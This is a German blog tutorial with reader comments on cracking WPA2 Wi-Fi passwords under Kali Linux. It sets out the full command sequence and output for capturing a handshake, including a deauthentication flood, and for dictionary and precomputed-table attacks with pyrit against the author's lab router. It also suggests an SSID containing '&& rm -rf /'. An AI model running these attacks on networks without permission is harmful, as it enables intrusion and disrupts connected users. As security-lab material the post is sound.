WPA2 unter Kali Linux

Nachdem ich mir ja bereits angeschaut habe wie man einem mit WEP verschlüsselten Wlan zu leibe rücken kann schau ich mir heute einmal an was man denn gegen ein mit WPA2 gesichertes ausrichten kann. Bei WPA2 ist die Sache nicht mehr ganz so einfach wie im Falle von WEP. Während die Sicherheit bei WEP inzwischen nicht mehr vorhanden ist hängt sie bei dem aktuell meist verwendeten WPA2 stark vom Passwort ab. 

Bei WPA2 sind wir also auf das ausprobieren von Passwörtern angewiesen. Die gute Nachricht ist das man nicht darauf angewiesen ist Passwörter aktiv gegen ein Live Wlan zu testen. Alles was man braucht ist ein einziger Handshake, also ein Verbindungsaufbau von einem Client zum Access Point. Um an einen solchen Handshake zu kommen versetzen wir zunächst unsere Wlankarte, in meinem Fall Wlan1, mit Hilfe eines Tools aus der Aircrack-ng Toolsammlung in den Monitormode.

root@brecht-lab:~/wlan# airmon-ng start wlan1

Airmon-ng ist als Tool weitestgehend selbsterklärend durch den oberen Befehl wir der Monitormode auf dem entsprechenden Wlaninterface aktiviert und ein neues virtuelles Interface, in meinem Fall mon0, für die empfangenen Daten angelegt. Welche Wlaninterfaces auf dem Rechner existieren und welcher Wlanchipsatz dort jeweils zum Einsatz kommt lässt sich recht einfach durch die Eingabe von Airmon-ng ohne Parameter herausfinden.

root@brecht-lab:~/wlan# airmon-ng
Interface       Chipset         Driver
wlan0           Intel 4965AGN   iwl4965 - [phy0]
mon0            Realtek RTL8187L        rtl8187 - [phy1]
wlan1           Realtek RTL8187L        rtl8187 - [phy1]

Man kann hier sehr schön sehen das ein Anlegen meines virtuellen mon0 Interfaces anscheinend geklappt hat. Jetzt bringt uns der Monitormode natürlich allein noch nicht zu einem entsprechenden Ergebnis, wir brauchen einen Scanner. Ein Tool das für uns die Kanäle der Wlankarte durchschaltet und uns die Informationen mit welchen Wlans wir es zu tun haben ein wenig aufbereitet. Airodump-ng ist hier der perfekte Kandidat, zum einen weil wir so direkt bei der Aircrack-ng Toolsammlung bleiben und zum anderen finde ich das Tool für die Aufgabe die ich ihm heute zugedacht habe recht praktisch.
Der Aufruf gestaltet sich vorerst noch recht einfach und besteht nur aus dem Befehl und dem entsprechenden Interface.

root@brecht-lab:~/wlan# airodump-ng mon0

Als Ausgabe ergibt sich daraus in meinem Fall folgendes.

 CH  3 ][ Elapsed: 28 s ][ 2014-01-05 14:00
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
 00:04:0E:6B:00:B5  -48       37        0    0  13  54   WPA  TKIP   PSK  brechtnet
 00:25:9C:CF:89:14  -57       53        3    0   9  54e  WPA2 TKIP   PSK  FRITZ!Box Fon WLAN
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe
 00:25:9C:CF:89:14  00:1D:E0:94:8A:E1  -12   36e-36e     0        3

Lässt man airodump-ng etwas Zeit wird sich die Anzeige extrem schnell mit diversen Wlans aus der Umgebung füllen, die meiner Nachbarn habe ich hier jetzt einmal herausgeschnitten da uns diese für die kleine Demonstration hier nicht Interessieren. Wir sehen hier also insgesamt 2 Wlannetze und einen verbundenen Client, alle davon sollten von den Signalstärken her ich einem passenden Bereich liegen. Für unseren kleinen Versuch benutzen wir heute den 2ten der beiden APs, das Wlan mit der Kennung “FRITZ!BOX FON WLAN”. Warum genau sich mein kleiner Linksys Router für diese Demonstration als FRITZ!Box ausgibt wird später noch klar werden. Bis dahin sollte als Begründung für unsere Entscheidung allerdings genügen das er der einzige AP mit einem Verbundenen Client ist. Zumindest von denen die ich hier aktuell zeige 😉 Wir haben jetzt also unser Ziel und müssen demnach unseren Airodump-ng Aufruf ein wenig modifizieren, zum einen um die mitgeschnittenen Packete auch zu speichern und zum anderen um airodump auch auf einen Kanal festzunageln. Nicht das ein Handshake genau dann abläuft wenn wir gerade auf einem anderen Kanal Packete mithören.

root@brecht-lab:~/wlan# airodump-ng --channel 9 --bssid 00:25:9C:CF:89:14 --write wpa2-dump mon0

Von den Parametern her ist auch diese Eingabe relativ selbsterklärend, der Vollständigkeit halber sei es hier noch einmal genau erklärt.
Der Parameter –channel 9 sagt uns das wir auf Kanal 9 lauschen wollen, –write wpa2-dump gibt die Benennung der Ausgabedateien an und  mon0 ist unser Wlaninterface.

Der Parameter  –bssid 00:25:9C:CF:89:14 dient dazu nur Packete von oder zu dem Access Point mit der entsprechenden Kennung mitzuschneiden und dient hier im wesentlichen dem Schutz meiner Nachbarn. Als Ausgabe zeigt uns Airodump-ng das bereits bekannte Interface, jetzt allerdings auf einen Access Point beschränkt.

 CH  9 ][ Elapsed: 3 mins ][ 2014-01-05 14:25
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
 00:25:9C:CF:89:14  -49 100     2229      273    0   9  54e  WPA2 TKIP   PSK  FRITZ!Box Fon WLAN
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe
 00:25:9C:CF:89:14  00:1D:E0:94:8A:E1   -9    1e-48e     0      344

Wir schneiden also bereits aktiv Daten auf der Verbindung mit. Um jetzt an einen Handshake zu kommen gibt es mehrere unterschiedliche Varianten. Zum einen die Zeitraubende, langweilige dafür aber unauffälligste Varriante: warten. Früher oder später werden wir den Verbindungsaufbau eines Clients mitschneiden können.
Oder aber die 2te viel schnellere dafür aber auffälligere Variante: Wir zwingen den Client zu einem Neuaufbau der Verbindung, ist jetzt zwar nicht ganz die feine Art spart uns aber an dieser Stelle extrem viel Zeit.
In unserem Fall ist an dieser Stelle auch nicht wirklich Vorsicht geboten weshalb wir um den client von seinem Netz zu trennen recht brutal vorgehen können. Für diese Aufgabe öffnen wir eine zweite Konsole und verwenden das Tool Aireplay-ng.

root@brecht-lab:~/wlan# aireplay-ng --deauth 0 -a 00:25:9C:CF:89:14 mon0
14:39:16  Waiting for beacon frame (BSSID: 00:25:9C:CF:89:14) on channel 9
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
14:39:17  Sending DeAuth to broadcast -- BSSID: [00:25:9C:CF:89:14]
14:39:17  Sending DeAuth to broadcast -- BSSID: [00:25:9C:CF:89:14]
14:39:18  Sending DeAuth to broadcast -- BSSID: [00:25:9C:CF:89:14]
14:39:18  Sending DeAuth to broadcast -- BSSID: [00:25:9C:CF:89:14]
14:39:19  Sending DeAuth to broadcast -- BSSID: [00:25:9C:CF:89:14]

Hie bedeuten die Parameter im einzelnen folgendes. Mit –deauth 5 sagen wir dem Tool das er bitte 5 Deauth Nachrichten versenden soll, -a 00:25:9C:CF:89:14 ist die mac von unserem Access Point und mon0 noch immer unser verwendetes Interface.
Wie das Tool bereits richtig anmerkt könnten wir auch effektiver sein und einen Client mit angeben, so ein broadcast hat allerdings den vorteil das wir damit eventuell sogar mehr als einen client dazu überreden können eine neue Verbindung aufzubauen. Abgesehen davon hat es ja bereits funktioniert 😉
Das es Funktioniert hat erkennt man an der Ausgabe von Airodump-ng, die inzwischen so aussieht:

 CH  9 ][ Elapsed: 26 mins ][ 2014-01-05 14:55 ][ WPA handshake: 00:25:9C:CF:89:14
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
 00:25:9C:CF:89:14  -54  96    14328     4121    0   9  54e  WPA2 TKIP   PSK  FRITZ!Box Fon WLAN
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe
 00:25:9C:CF:89:14  00:1D:E0:94:8A:E1  -13   36e-24e     0     4587

Freundlicher Weise zeigt uns das Tool direkt in der ersten Zeile an das es einen Handshake aufgezeichnet hat. Damit ist dann auch schon der aktive Teil unserer arbeit beendet und wir können sowohl airodump-ng als auch den Monitor Mode unserer Karte beenden. Für airodump-ng wird dies mit strg+C und für den Monitor Mode mir einem entsprechenden airmon-ng Befehl

root@brecht-lab:~/wlan# airmon-ng stop mon0
Interface       Chipset         Driver
wlan0           Intel 4965AGN   iwl4965 - [phy0]
mon0            Realtek RTL8187L        rtl8187 - [phy1] (removed)
wlan1           Realtek RTL8187L        rtl8187 - [phy1]

Damit ist dann die Vorarbeit für die wir eine Wlan Verbindung benötigen auch abgeschlossen, jetzt gilt es nur noch ein wenig Ordnung in die gesammelten Daten zu bringen.
In dem Verzeichniss auf unserer Festplatte in dem wir uns befinden sieht es inzwischen so aus.

root@brecht-lab:~/wlan# ls -ahl
insgesamt 2,3M
drwxr-xr-x  2 root root 4,0K Jan  5 14:28 .
drwxr-xr-x 35 root root 4,0K Jan  5 00:47 ..
-rw-r--r--  1 root root 2,3M Jan  5 14:54 wpa2-dump-01.cap
-rw-r--r--  1 root root  487 Jan  5 14:55 wpa2-dump-01.csv
-rw-r--r--  1 root root  600 Jan  5 14:55 wpa2-dump-01.kismet.csv
-rw-r--r--  1 root root 2,7K Jan  5 14:55 wpa2-dump-01.kismet.netxml

Interessant ist für uns hier nur die .cap Datei. In dieser sind alle bisher gesammelten Packete und unser Handshake enthalten. In meinem Fall hier ist sie mit 2,3 MB noch recht klein. Gerade wenn man sich dafür entscheidet lieber etwas unauffälliger zu arbeiten wird diese Datei extrem schnell extrem groß. Schauen wir für den Anfang aber mal was uns die Datei zu bieten hat. Hierfür verlassen wir jetzt die Aircrack-ng Toolsammlung, die natürlich auch entsprechende Knackprogramme zur Verfügung stellt doch meine persönliche Präferenz beim knacken von solchen Schlüsseln liegt aktuell auf dem in Python geschriebenen Tool pyrit.
Um uns einen Überblick über die cap Datei zu verschaffen verwenden wir folgenden Befehl:

root@brecht-lab:~/wlan# pyrit -r wpa2-dump-01.cap analyze
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+
Parsing file 'wpa2-dump-01.cap' (1/1)...
Parsed 119 packets (119 802.11-packets), got 1 AP(s)
#1: AccessPoint 00:25:9c:cf:89:14 ('FRITZ!Box Fon WLAN'):
  #1: Station 00:1d:e0:94:8a:e1, 3 handshake(s):
    #1: HMAC_MD5_RC4, good, spread 1
    #2: HMAC_MD5_RC4, good, spread 1
    #3: HMAC_MD5_RC4, good, spread 1

Die Ausgabe zeigt uns in diesem Fall das wir insgesamt 119 Packete und 3 Handshakes gesammelt haben. Einer hätte uns zwar ausgereicht, doch der DeAuth scheint erfolgreicher gewesen zu sein als wir es eigentlich beabsichtigt haben. Um unsere kleine Datei jetzt nur auf die Handshakes zu beschränken verwenden wir pyrit mit der Option strip.

root@brecht-lab:~/wlan# pyrit -r wpa2-dump-01.cap -o handshakes.cap strip
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+
Parsing file 'wpa2-dump-01.cap' (1/1)...
Parsed 119 packets (119 802.11-packets), got 1 AP(s)
#1: AccessPoint 00:25:9c:cf:89:14 ('FRITZ!Box Fon WLAN')
  #0: Station 00:1d:e0:94:8a:e1, 3 handshake(s)
    #1: HMAC_MD5_RC4, good, spread 1
    #2: HMAC_MD5_RC4, good, spread 1
    #3: HMAC_MD5_RC4, good, spread 1
New pcap-file 'handshakes.cap' written (27 out of 119 packets)

Wir haben durch diese Eingabe die neue Datei handshakes.cap erzeugt in der dann auch nur noch die relevanten Packete für den Handshake enthalten sind. Dieser Vorgang des Herunterbrechens auf die Handshakes ist zwar nicht nötig, bei extrem großen cap Dateien aber zu empfehlen. Ganz nebenbei ermöglicht es einem im Zweifelsfall auf einen Onlinedienst zum knacken des entsprechenden Netzes zurückzugreifen ohne gleich den gesamten Datenverkehr zu liefern. Allein schon die Dateigröße zeigt uns an dieser Stelle das wir durch den strip einiges an Ballast los geworden sind.

 root@brecht-lab:~/wlan# ls -ahl handshakes.cap
-rw-r--r-- 1 root root 4,3K Jan  5 15:15 handshakes.cap

Jetzt kann der eigentliche Knackvorgang beginnen, aus performancegründen ist genau das der Zeitpunkt zu dem ich auf etwas deutlich stärkeres als meinen Laptop zurückgreiffe. Werfen wir doch aber Mal eben einen Blick darauf wie denn auf dem Laptop den ich hier verwende die Performance eines normalen Passwortangriffs aussehen würde. Dazu lassen wir uns von pyrit mit der Option benchmark die Anzahl der Passwörter pro Sekunde anzeigen die er denn durchprobieren könnte.

root@brecht-lab:~/wlan# pyrit benchmark
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+
Running benchmark (927.8 PMKs/s)... /
Computed 927.83 PMKs/s total.
#1: 'CPU-Core (SSE2)': 503.3 PMKs/s (RTT 3.3)
#2: 'CPU-Core (SSE2)': 511.7 PMKs/s (RTT 3.3)

Knappe 1000 Passwörter pro Sekunde. Für meine persönliche Passwortliste mit etwas über 10000000 Einträgen würde sich also eine Dauer von ca. 10000 Sekunden, also unter optimalen Bedingungen knapp 2 3/4 Stunden ergeben. Im Notfall zwar eine noch recht annehmbare Zeit schön ist dann allerdings doch anders. Deshalb wechsele ich jetzt zu meinem Desktop PC, der zur not auch per VPN Tunnel remote zur Verfügung steht. Hier sieht es dank der neuen Grafikkarte mit der Performance schon deutlich besser aus.

brechthold@brecht-desk:~/wlan-wpa$ pyrit benchmark
Pyrit 0.4.1-dev (svn r308) (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+
Running benchmark (58525.9 PMKs/s)... \
Computed 58525.92 PMKs/s total.
#1: 'OpenCL-Device 'Pitcairn'': 61105.4 PMKs/s (RTT 2.7)
#2: 'CPU-Core (SSE2/AES)': 791.9 PMKs/s (RTT 3.1)
#3: 'CPU-Core (SSE2/AES)': 847.7 PMKs/s (RTT 2.9)
#4: 'CPU-Core (SSE2/AES)': 845.3 PMKs/s (RTT 3.1)

Damit ist das Knacken eines WPA2 Passwortes doch gleich viel realistischer. In Extremfällen lässt sich da durchaus noch mehr Rechenleistung aufbieten aber für den Moment sollte das mehr als ausreichend sein. Zeit dem Ding mal ein wenig Arbeit zu geben, für den Anfang versuche ich mich mal an dem Passwort mit der ROCKYOU Passwortliste die jeder Kali Linux Installation beiliegt. Dazu verwendet man folgenden Befehl.

pyrit -r handshakes.cap -i /usr/share/wordlists/rockyou.txt.gz attack_passthrough

Hier sieht man auch einen der großen Vorteile beim umgang mit pyrit. Pyrit kann problemlos auch mit komprimierten Eingabedateien arbeiten. Da ich die Gelegenheit hier allerdings noch ein wenig nutzen will um auf meinen aktuellen Performancewerten mit der neuen Grafikkarte herumzureiten setzen wir dem Befehl ein time voran.

brechthold@brecht-desk:~/wlan-wpa/target$ time pyrit -r handshakes.cap -i /usr/share/wordlists/rockyou.txt.gz attack_passthrough
Pyrit 0.4.1-dev (svn r308) (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+
Parsing file 'handshakes.cap' (1/1)...
Parsed 27 packets (27 802.11-packets), got 1 AP(s)
Picked AccessPoint 00:25:9c:cf:89:14 ('FRITZ!Box Fon WLAN') automatically.
Tried 40002 PMKs so far; 13114 PMKs per second.
The password is '12345678'.
real    0m4.307s
user    0m9.496s
sys     0m0.100s

Wie man durch die Ausgabe von time am Ende sieht wurde das Passwort in diesem Fall bereits nach ein paar Sekunden geknackt und lautet 12345678. Da in der Praxis allerdings meist nicht ganz so einfache Passwörter verwendet werden und leider Aufgrund großflächigen Versagens der Netzbetreiber nicht immer Zugriff auf seinen “großen” Rechner Zuhause hat bietet pyrit eine weitere Möglichkeit um das Ausprobieren der Passwörter zu beschleunigen. Zumindest bei bekannten Netzwerknamen.
Bei WPA und WPA2 fliest in die Verschlüsselung der Name des Wlans, also der essid, mit ein. Dadurch sollen Angriffe per vorberechneter Hashtabellen, sogenannten Rainbowtables, verhindert werden. Wenn man sich jetzt allerdings die Wlanlandschaft in seiner Umgebung etwas näher anschaut (in meinem Fall zuletzt großflächig geschehen vor ein paar Jahren) stellt man fest das sich gewisse Netzwerknamen regelmäßig wiederholen. Für diese wiederkehrenden Netzwerknamen lohnt sich also eine Vorberechnung, zumindest wenn man davon ausgeht das man mehr als einmal mit einem solchen Netz konfrontiert wird. Um solche Tabellen zu erzeugen sind mir für WPA/WPA2 im wesentlichen 3 Tools bekannt: ariolib-ng, cowpatty und eben pyrit. Letzeres hat den Vorteil auch in die anderen beiden Formate exportieren zu können, wenn man mal ganz davon absieht das aufgrund der CPU Nutzung die Berechnung hier deutlich schneller von statten geht. So eine Hashtabelle bietet auch den großen Vorteil das man hier mehr als eine Passwortliste hineinwerfen kann und das jeweilige Tool dann alle ungeeigneten bzw. doppelten Passwörter automatisch entfernt. Gerade bei Leuten wie mir ist das ein nicht zu unterschätzendes Argument.
Eine solche Tabelle zu erzeugen ist im Prinzip mit pyrit recht einfach. Zunächst fügen wir einmal eine Passwortliste der Datenbank hinzu. Der Einfachheit halber wähle ich hier den default Datenbankmodus von pyrit mit File Backend. In größeren/verteilten Installationen beherrscht pyrit auch so ziemlich alle arten von SQL als Backend. Wie ein solches Setup aussieht spare ich mir dann aber mal für einen eigenen Artikel auf, da dieser hier jetzt schon jeden Rahmen sprengt 😉 Kommen wir also zurück zur der Passwortliste.

brechthold@brecht-desk:~/wlan-wpa/target$ pyrit -i /wordlists/FULLlist.txt import_passwords
Pyrit 0.4.1-dev (svn r308) (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+
Connecting to storage at 'file://'...  connected.
47024990 lines read. Flushing buffers.... .
All done.

Damit hätte ich dann jetzt einfach einmal 47000000 Passwörter in die Datenbank eingefügt. Was jetzt noch fehlt ist das hinzufügen von den Netzwerknamen.

brechthold@brecht-desk:~/wlan-wpa/target$ pyrit -e 'FRITZ!Box Fon WLAN' create_essid
Pyrit 0.4.1-dev (svn r308) (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+
Connecting to storage at 'file://'...  connected.
ESSID already created

In meinem Fall meckert pyrit hier zurecht das der Netzwerkname bereits in der Datenbank enthalten ist. Unter normalen Umständen würde der Befehl aber so funktionieren. Damit lüftet sich dann auch das Geheimnis warum sich mein WRT Router seit neuestem als “FRITZ!Box Fon WLAN” ausgibt. Dieser Netzwerkname gehört aktuell mit zu den am meisten verbreiteten.

 brechthold@brecht-desk:~/wlan-wpa/target$ pyrit batch

Dieser Befehl Startet dann die Berechnung der Hashtablle mit allen gespeicherten Passwörtern für alle hinterlegten Netzwerknamen. Da ich gerade mal eben 47000000 Passwörter in die Datenbank gepumpt habe dauert das seine Zeit. Glücklicherweise hätte ich da aber einmal etwas vorbereitet.

brechthold@brecht-desk:~/wlan-wpa/target$ pyrit eval
Pyrit 0.4.1-dev (svn r308) (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+
Connecting to storage at 'file://'...  connected.
Passwords available: 49181675
ESSID 'FRITZ!Box Fon WLAN'      : 10641421 (21.64%)

Durch dieses Kommando erhalten wir einen Einblick wie es denn in der Datenbank aktuell aussieht. Die Ausgabe hier habe ich ein wenig angepasst und die anderen Netzwerknamen in meiner Datenbank einfach einmal herausgeschnitten. Mit ein wenig Suchaufwand kann allerdings jeder selbst die aktuelle Topliste der Netzwerknamen im Internet finden. In meiner befinden sich allerdings auch ein paar Firmennetzwerke denen ich aus beruflichen Gründen bereits zuleibe gerückt bin, ich bin mir recht sicher das die entsprechenden Firmen sich nicht unbedingt mit einem solchen Thema in Verbindung bringen wollen, daher die Verkürzung der Ausgabe.

Nachdem jetzt unsere Hashtabellen erzeugt sind wird es Zeit einmal zu prüfen was uns das in der Paxis an Geschwindikeitsvorteil bringt.

brechthold@brecht-desk:~/wlan-wpa/target$ time pyrit -r handshakes.cap attack_db
Pyrit 0.4.1-dev (svn r308) (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+
Connecting to storage at 'file://'...  connected.
Parsing file 'handshakes.cap' (1/1)...
Parsed 27 packets (27 802.11-packets), got 1 AP(s)
Picked AccessPoint 00:25:9c:cf:89:14 ('FRITZ!Box Fon WLAN') automatically.
Attacking handshake with Station 00:1d:e0:94:8a:e1...
Tried 2943505 PMKs so far (31.2%); 1859870 PMKs per second.
The password is '12345678'.
real    0m2.300s
user    0m2.908s
sys     0m0.192s

Ja, doch die Beschleunigung ist schon deutlich erkennbar. Die paar Sekunden spielen jetzt zwar bei unserem Beispiel nicht unbedingt die große Rolle, aber allein schon die Tatsche das wir jetzt ähnlich niedrige Zeiten auf einem Laptop erzielen könnten ist es doch schon fast wert. In der Praxis nutze ich diese Angriffsmethode häufiger, wie ich bereits anklingen lies, um mich auf ein bestimmtes Netzwerk vorzubereiten. Ich schaue mir also wenn ich sowieso bereits vor Ort bin an was dort als Netzwerkname existiert, das geht unaufälligerweise mit jedem halbwegs modernen Telefon. Bevor ich dann zur Tat schreite lasse ich meinen “großen” ein paar Stunden eine entsprechende Tabelle erzeugen die dann auf dem Laptop landet um den eigentlichen Angriff durchzuführen.
Das diese kleinen Taschenspielertricks höchst illegal sind wenn man keine Erlaubnis hat sich das entsprechende Netzwerk genauer anzuschauen brauche ich wahrscheinlich nicht dazu zu schreiben tue es der Vollständigkeit halber hier trotzdem. So ganz nebenbei ist ein solcher Angriff nicht immer von Erfolg gekrönt. Wir sind hier stark darauf angewiesen das jemand ein Passwort gewählt hat das sich auch in einer unserer Listen befindet. In der Praxis sollte man seine Passwortliste also immer auch ein wenig dem Ziel anpassen. Im Falle von Firmen sind hier Produktnamen bzw. der Name der Firma selbst usw. eine lohnende Ergänzung zu den schon bestehenden Listen. Man sollte auch nie vergessen das es gerade in großen Firmen viel einfachere Wege gibt an solche Passwörter zu kommen als der direkte Angriff auf den Schlüssel, gerade Firmenlaptops sind hier immer ein gern genommener Angriffspunkt.
Neben dem hier gezeigten Weg gibt es auch viele andere Methoden und Tools um die Passwörter auszuprobieren bzw. auch schon um den Handshake aufzuzeichnen, eine andere Möglichkeit besteht beispielsweise in der Nutzung von Wifite. Einige Router vereinfachen den Zugang auch weiter durch andere Schwachstellen. Hauptsächlich fallen mir da im Moment die EasyBox mit ihrem default Passwort das sich aus der Hardwareadresse berechnet und Router mit einer ungepatchten WPS Schwachstelle ein. Man sieht also mit Wlan werden wir noch einige Jahre unseren Spaß haben 😉

Was für lehren kann man aus dem ganzen jetzt für sein eigenes Wlan ziehen? Standartnetzwerknamen sind keine gute Idee und Passwörter sollten möglichst nicht aus dem nächstbesten Wörterbuch gewählt werden. Gerade bei Wlanpasswörtern die man in der Regel genau einmal pro Gerät eingeben muss bietet es sich an ein etwas längeres Passwort oder besser ganze Sätze zu verwenden um das Netzwerk zu schützen. Wer etwas mehr Spaß mit seinem Wlan haben will dem sei aus Erfahrung gesagt das man sich auch mit Steuer und Sonderzeichen in der Wlankennung extrem viele Freunde machen kann. Wer sein Netzwerk also unbedingt “&& rm -rf /” nennen will, kann das gerne tun, sollte sich aber auch darauf vorbereiten das eventuell nicht jedes Tool das mit Wlannamen arbeitet den Netzwerknamen richtig interpretiert. Einigen Tools die da gerade im Umlauf sind traue ich ehrlich gesagt nicht so wirklich weit über den Weg. Nutzung also wie immer auf eigene Gefahr 😉 Trotzdem noch viel Spaß beim kreativ werden.

Kleines Update vom 29.10.2014:

So ganz falsch lag ich wohl mit meiner Vermutung nicht das einige Tools nicht sauber mit den von Wlan APs empfangenen Daten umgehen. Von den eigentlichen Clienttools unter Linux hätte ich aber ein wenig mehr erwartet als den WPA-Bug hier. Ich glaube ich sollte mich in der nächsten Zeit einmal mit den Angriffsmöglichkeiten von AP in Richtung Client auseinandersetzten. Diesen Bereich habe ich mir bereits seit einigen Jahren nicht mehr genauer angeschaut und ich bin sicher das es da einiges zu holen gibt.

 

Tagged , , , , , , , , , . Bookmark the permalink.

About Brechthold

Brechthold gehört zu dem Gründungsteam von Contempt-it . Nach ein paar Jahren der Abstinenz jetzt wieder zurück im Adminteam um ein wenig Ordnung zu schaffen. Zu seinen Lieblingsthemen gehören Honeypots, IDS-Systeme und Servermonitoring. Neben seiner Arbeit im Adminteam werkelt er noch an seinem Brechtblog

11 Responses to WPA2 unter Kali Linux

  1. gee says:

    Hallo brechthold,

    deinen bolg find ich sehr interessant, ich bin sehr daran interessiert stehts meine sicherheitslücken zu entdecken und zu stopfen. Dank dir hab ich viel zum Thema WLAN, WEP, WAP und WAP2 sowie WPS hinzu lernen dürfen und können 😉
    Ich habe mir nun die arbeit gemacht und auch mal eine Rainbow-Tabelle erstellt, nun würde ich aber gerne wissen wie ich diese später wieder finden kann, denn wenn ich diese mal für einen kollegen nutzen möchte, wüsste ich jetzt nicht, wie ich diese später ein zweites mal auffinden bzw aufrufen könnte um dort nachträglich essid’s eintragen zu können. Gern würd ich sie auch sichern können, da ich in Kali alles abgesucht habe was nach eine passwortliste ausschaut. Diese arbeit möchte ich ungern ein zweites mal auf mich nehmen. Und auch um weitere Passwörter hinzu zu fügen wäre es in meinen augen ratsam wenn ich wüsste wo diese Tabelle mit welchem Namen sie liegt.

    Ich danke dir für deinen Blog und auch im vorraus für deine Mühen.
    MFG

    • Brechthold says:

      Moin,

      zunächst mal sorry wegen der etwas zerstörten Captacha Sache hier im Blog. Werde ich definitiv irgendwann in nächster Zeit einmal angehen das gerade zu ziehen, führte nur beim letzten Versuch zu einem etwas erhöhten Spamaufkommen weshalb ich das dann relativ schnell wieder in seinen “Kaputt” Zustand versetzt habe.

      Was die Rainbowtables angeht würde meine Antwort wohl etwas länger ausfallen. Deshalb würde ich sagen das ich speziell dazu in den nächsten Tagen mal einen Artikel online stellen werde. Der Blog diente bisher eher als kleines Backlog bzw. Gedächtnisstütze für mich und ich ging eher weniger von einem Leserpublikum aus dem ich hier etwas neues erzähle, deshalb kann es sein das ich das ein oder andere mal ein paar Grundlagen schlicht vergesse. Ich werde dann mal versuchen mich in Zukunft zu bessern.

      Was WPS angeht würde ich jetzt einmal sagen das ich dazu bisher nicht wirklich etwas geschrieben hatte und das aus einem relativ guten Grund. Bei WEP verschlüsselung war die Entscheidung hier eine Anleitung zu veröffentlichen relativ einfach. Wer soetwas 2014 noch einsetzt verdient seine Mitsurfer. Bei WPA/WPA2 gibt es bisher meines Wissens nach nur passwortbasierende Angriffe, auch hier gilt: “Wer nicht in der Lage ist ein ordentliches Passwort zu wählen hat es nicht besser verdient”. Bei WPS ist es ein wenig anders.
      Wer vor Jahren von der WPS Lücke getroffen wurde hatte eigentlich nur die Möglichkeit seinen Router zu Updaten. Nicht alle Routerhersteller haben es bis heute geschafft brauchbare Updates zu veröffentlichen und es gibt leider noch immer Leute die keine Ahnung davon haben das man so ein Plastikding ab und an auch Updaten muss. Natürlich kann man auch hier argumentieren das es die Leute dann nicht besser verdient hätten, doch das möchte ich nicht wirklich Leuten im alter von 70+ erklären die der Meinung sind das es im Internet irgendwie nur Porn,Amazon und Ebay gibt.

      Also nochmal in Kürze:
      Rainbowtables kommt demnächst, WPS und ähnliches spare ich mir noch ein paar Jahre auf.

      • Brechthold says:

        So muss mich dann nochmal korrigieren. Nachdem ich mir meinen eigenen Artikel wieder durchgelesen hatte musste ich feststellen das dort eigentlich bereits alles steht das man zur Erstellung einer entsprechenden Passwortdatenbank benötigt. Mit “pyrit -i /wordlists/FULLlist.txt import_passwords” lassen sich Passwörter zur Datenbank hinzufügen, mit “pyrit -e ‘FRITZ!Box Fon WLAN’ create_essid” entsprechende ESSIDs. “pyrit batch” startet dann die Erzeugung bzw. Erweiterung der Datenbank.
        Die Datenbanken die Pyrit erzeugt sind im Home-Dir des aufrufenden Users im Ordner “.pyrit” hinterlegt, also “~/.pyrit”. Alles weitere sollte man sich aus der Manpage von pyrit heraussuchen können.

  2. Pingback: Kali Linux, Wlan und der PI » Brechtholds Blog

  3. xBr0th3rx says:

    Hallo zusammen,

    habe einen Problem mit dem ” aireplay-ng –deauth 0 -a 00:25:9C:CF:89:14 mon0 ” wenn ich das eingebe also in meinen eigenen datne umändere kommt bei mir nur … ” Couldn’t determine current channel for mon0, you should either force the iperation with –ignore-negative-one or apply a kernel patch. Please specify an ESSID (-e).”

    Was hat das zu bedeuten?

    mfg Jean

    • Brechthold says:

      Kann da aktuell nur ins blaue hinein raten. Also die Möglichkeiten die mir da jetzt so einfach in den Sinn kommen sind entweder eine ältere bzw. andere Version von Aircrack-ng, eine Wlankarte bei der es nicht so ganz mit dem Monitormode klappt, etc. Also gib mir mal eine Info mit welcher Version von Aircrack-ng du unterwegs bist, am besten gleich noch ne Info zu Betriebssystem und Wlankarte bzw. Wlanchipsatz der dabei zum Einsatz kommt. Das was ich oben heruntergetippert habe funktionierte damals unter Kali Linux und meiner Alfa Karte ganz gut hatte aber auch schon Karten die sich da ein wenig zickiger angestellt haben.
      Rein von der Fehlermeldung her hat Aireplay ein Problem damit herauszufinden auf welchem Kanal deine Wlankarte gerade arbeitet.

  4. whispers2011 says:

    Hallo Brechthold

    Bei mir gibt es folgendes problem. Ich habe Linux Kali auf meiner VM VirtualBox drauf. Leider wird der Wireless adapter nicht gefunden, da ich einen integrierten wireless adapter habe so wie ich es verstanden habe (siehe hier: https://forums.virtualbox.org/viewtopic.php?f=3&t=61432).

    Dadurch bekomme ich nichts wenn ich “airmon-ng” eingebe…

    Vielleicht kannst du ja helfen, habe bissher viel rum geschaut und keine lösung gefunden. Besten Dank im Voraus.

    Grüsse

    whispers2011

    • Brechthold says:

      Naja, der einfachste und sicherste Weg, der mir da spontan einfällt, ist die VM aus der Gleichung heraus zu nehmen. Versuch es mit einer Live-DVD oder besser einem USB Stick. Einen besseren Ratschlag kann ich dir dazu aktuell leider nicht geben, da ich selbst für mein Arbeitssystem keine VMs einsetze. Speziell wenn es an Wlans oder wie auch immer geartetes Arbeiten mit Hardware geht stellen VMs in meinen Augen eher ein Hindernis als eine Arbeitserleichterung dar.

  5. Klaus says:

    Schöner Blog Eintrag!

